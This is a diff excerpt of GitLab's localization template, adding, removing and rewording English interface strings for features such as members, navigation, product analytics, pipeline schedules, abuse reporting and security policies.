msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
